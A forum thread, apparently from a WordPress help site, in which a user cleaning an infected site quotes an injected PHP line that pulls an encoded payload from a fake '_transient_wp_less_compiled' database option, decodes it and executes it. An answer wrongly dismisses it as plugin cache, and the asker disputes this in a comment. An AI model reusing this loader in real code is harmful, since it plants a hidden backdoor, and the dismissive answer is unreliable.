I have got a website to "cleanup" which has almost 10k replicated files in the public_html folder and almost all PHP files contains code

$z=get_option("_transient_wp_less_compiled_c9b58ec39525169515675906d91c9815"); $z=base64_decode(str_rot13($z['root'])); if(strpos($z,"E8FA4873")!==false){ $_z=create_function("",$z); @$_z(); }

I have checked DB options table and there are multiple instances of _transient_wp_less_compiled_randomstuff

My question is - does the site got hacked using transient API or just used some exploit to spread malicious code across PHP files and DB which looks like "legit" transient API code for a regular user? I have "googled" for specific part of that code above but cannot find anything interesting how does site got hacked.

1 Answer 1


Should be the transient(cache files) of the plugin wp-less that convert the css code in less through a compiler.

After downloading wp-less check the compiler.class to see how the plugin cache the code.

I don't think this is hacking.

  • What that code is then? It is not a part of a theme and there is not wp-less plugin installed. Even if so WP-Less should to use hooks not to add cited code to each PHP file. Nov 9, 2015 at 14:56

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